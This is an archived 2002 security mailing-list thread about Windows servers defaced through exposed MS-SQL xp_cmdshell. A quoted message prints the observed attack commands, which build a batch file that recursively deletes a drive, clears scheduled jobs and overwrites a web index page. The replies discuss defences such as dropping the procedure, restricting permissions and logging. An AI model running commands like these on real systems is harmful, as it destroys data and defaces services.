Security Incidents mailing list archives
RE: Windows Systems Defaced
From: "David Ashwood" <david.ashwood () db com>
Date: Fri, 3 May 2002 12:42:36 +0100
There are a number of whys to prevent use of XP_CMDShell.
A combination of NTFS file permissions and SQL server permissioning is best.
I prefer not to drop and have an auth failure - gives visibility of use.
Any use of the stored procedure is logged in the eventlog and you can use dumpel to pull out these kind of events to a
central server.
David Ashwood
Global Anti Virus
Deutsche Bank
+44 (0)20 754 71655
david.ashwood () db com
"Steve Zenone"
<zenone () cats ucsc To: <incidents () securityfocus com>
.edu> cc: <thompson () isc upenn edu>
Subject: RE: Windows Systems Defaced
03/05/2002 04:23
Hello,
Stephen W. Thompson wrote:
|> Have any of you seen similar activity? Any thoughts?
|
|Yes, we had one that matches most of your details. These
|are exact matches:
|
|> [] Damage occurred around 1600 on 5/1/2002
|BUT=> (approx. 16:00 EDT for us)
|> [] Win-popup message with "F---ing University of Rochester"
|> -- NOTE: not all systems running IIS
|> [] Admins claimed that all systems were patched correctly
|> [] Most were running updated and current AV
Thank you very much for your reply - it definitely helps!
We have been seeing MS-SQL (1433/tcp) attacks that try and execute
the following:
-----BEGIN SNIPPET-----
xp_cmdshell 'echo net send localhost F---ing University of Rochester
rebooting... > rochester.bat'
xp_cmdshell 'echo del g:\ /f /q /s ^nul 2^>&1 >> rochester.bat'
xp_cmdshell 'echo del g:\ /f /q /s ^nul 2^>&1 >> rochester.bat'
xp_cmdshell 'echo del g:\ /f /q /s ^nul 2^>&1 >> rochester.bat'
xp_cmdshell 'at /delete /y'
xp_cmdshell 'echo if exist \inetpub\wwwroot\ type
%systemroot%\rochester.html ^ e:\inetpub\wwwroot\index.html >>
rochester.bat'
-----END SNIPPET-----
The above commands were directed to systems that were listening on
port 1433/tcp and accessible from the outside. It appears that there
were multiple source IPs involved in this attack.
At this time, I am not completely clear on how to protect from this
attack. What I've researched is that since external functions such
as xp_cmdshell, xp_startmail, xp_sendmail, and xp_stopmail present
possible security risks, it is recommended to drop such external
system functions. Else, deny EXECUTE permission on them to specific
users/roles if dropping these procedures would break any of the SQL
Server. I haven't tested this - but does anyone on this list know if
this is a safe and effective solution?
Regards,
Steve
----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com
--
This e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have
received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying,
disclosure or distribution of the material in this e-mail is strictly forbidden.
----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management
and tracking system please see: http://aris.securityfocus.com
Current thread:
- Windows Systems Defaced Steve Zenone (May 02)
- <Possible follow-ups>
- Re: Windows Systems Defaced Stephen W. Thompson (May 02)
- RE: Windows Systems Defaced Steve Zenone (May 02)
- RE: Windows Systems Defaced H C (May 03)
- RE: Windows Systems Defaced Brenna Primrose (May 03)
- RE: Windows Systems Defaced Johannes B. Ullrich (May 03)
- Windows Systems Defaced/destroyed, plus Port 3389 attacks Bukys, Liudvikas (May 13)
- RE: Windows Systems Defaced Steve Zenone (May 02)
